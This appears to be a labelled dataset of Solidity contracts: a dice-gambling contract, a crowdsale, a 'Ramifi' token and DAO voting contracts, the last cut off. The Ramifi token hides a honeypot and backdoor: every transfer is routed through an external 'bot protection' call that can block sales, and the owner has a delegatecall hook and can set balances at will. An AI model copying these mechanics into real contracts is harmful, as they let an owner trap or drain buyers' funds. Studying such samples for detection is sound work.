event JackpotPayment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
event VIPPayback(address indexed beneficiary, uint amount);
event Commit(uint commit);
event TodaysRankingPayment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
croupier = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function getSecretSigner() external onlyOwner view returns(address){
return secretSigner;
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount, 0, 0, 0);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function encodePacketCommit(uint commitLastBlock, uint commit) private pure returns(bytes memory){
return abi.encodePacked(uint40(commitLastBlock), commit);
}
function verifyCommit(uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) private view {
require (block.number <= commitLastBlock, "Commit has expired.");
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes memory message = encodePacketCommit(commitLastBlock, commit);
bytes32 messageHash = keccak256(abi.encodePacked(prefix, keccak256(message)));
require (secretSigner == ecrecover(messageHash, v, r, s), "ECDSA signature is not valid.");
}
function placeBet(uint betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
verifyCommit(commitLastBlock, commit, v, r, s);
uint mask;
require (betMask > 0 && betMask <= 100, "High modulo range, betMask larger than modulo.");
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. ");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.rollUnder = uint8(betMask);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
uint accuAmount = accuBetAmount[msg.sender];
accuAmount = accuAmount + amount;
accuBetAmount[msg.sender] = accuAmount;
}
function applyVIPLevel(address gambler, uint amount) private {
uint accuAmount = accuBetAmount[gambler];
uint rate;
if(accuAmount >= 30 ether && accuAmount < 150 ether){
rate = 1;
} else if(accuAmount >= 150 ether && accuAmount < 300 ether){
rate = 2;
} else if(accuAmount >= 300 ether && accuAmount < 1500 ether){
rate = 4;
} else if(accuAmount >= 1500 ether && accuAmount < 3000 ether){
rate = 6;
} else if(accuAmount >= 3000 ether && accuAmount < 15000 ether){
rate = 8;
} else if(accuAmount >= 15000 ether && accuAmount < 30000 ether){
rate = 10;
} else if(accuAmount >= 30000 ether && accuAmount < 150000 ether){
rate = 12;
} else if(accuAmount >= 150000 ether){
rate = 15;
} else{
return;
}
uint vipPayback = amount * rate / 10000;
if(gambler.send(vipPayback)){
emit VIPPayback(gambler, vipPayback);
}
}
function placeBetWithInviter(uint betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s, address inviter) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (address(this) != inviter && inviter != address(0), "cannot invite mysql");
verifyCommit(commitLastBlock, commit, v, r, s);
uint mask;
require (betMask > 0 && betMask <= 100, "High modulo range, betMask larger than modulo.");
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. ");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.rollUnder = uint8(betMask);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
bet.inviter = inviter;
uint accuAmount = accuBetAmount[msg.sender];
accuAmount = accuAmount + amount;
accuBetAmount[msg.sender] = accuAmount;
}
function getMyAccuAmount() external view returns (uint){
return accuBetAmount[msg.sender];
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
requireCorrectReceipt(4 + 32 + 32 + 4);
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
settleBetCommon(bet, reveal, uncleHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
applyVIPLevel(gambler, amount);
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint modulo = 100;
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
if ((uint(entropy) / modulo) % JACKPOT_MODULO == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin, dice, rollUnder, amount);
}
if(bet.inviter != address(0)){
bet.inviter.transfer(amount * HOUSE_EDGE_PERCENT / 100 * 15 /100);
}
todaysRewardSize += amount * HOUSE_EDGE_PERCENT / 100 * 9 /100;
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin, dice, rollUnder, amount);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount, 0, 0, 0);
}
function getDiceWinAmount(uint amount, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= 100, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * 100 / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount, uint dice, uint rollUnder, uint betAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount, dice, rollUnder, betAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
uncleHash = bytes32(seedHash);
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := sha3(scratchBuf2, unclesLength) }
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := sha3(scratchBuf1, blobLength)
}
}
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
function memcpy(uint dest, uint src, uint len) pure private {
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function thisBalance() public view returns(uint) {
return address(this).balance;
}
function setAvatarIndex(uint index) external{
require (index >=0 && index <= 100, "avatar index should be in range");
Profile storage profile = profiles[msg.sender];
profile.avatarIndex = index;
}
function setNickName(string nickName) external{
Profile storage profile = profiles[msg.sender];
profile.nickName = nickName;
}
function getProfile() external view returns(uint, string){
Profile storage profile = profiles[msg.sender];
return (profile.avatarIndex, profile.nickName);
}
function payTodayReward(address to, uint rate) external onlyOwner {
uint prize = todaysRewardSize * rate / 10000;
todaysRewardSize = todaysRewardSize - prize;
if(to.send(prize)){
emit TodaysRankingPayment(to, prize);
}
}
} | 0 | 849 |
pragma solidity ^0.4.11;
interface token {
function transfer(address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
bool changePrice = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
event ChangePrice(uint prices);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
)public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 finney;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 finney;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () public payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function transferToken(uint amount)public afterDeadline {
if (beneficiary == msg.sender)
{
tokenReward.transfer(msg.sender, amount);
FundTransfer(msg.sender, amount, true);
}
}
function safeWithdrawal()public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
function checkPriceCrowdsale(uint newPrice1, uint newPrice2)public {
if (beneficiary == msg.sender) {
price = (newPrice1 * 1 finney)+(newPrice2 * 1 szabo);
ChangePrice(price);
changePrice = true;
}
}
} | 1 | 2,737 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Ramifi is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Ramifi";
string public symbol = "RAM";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 2,466 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
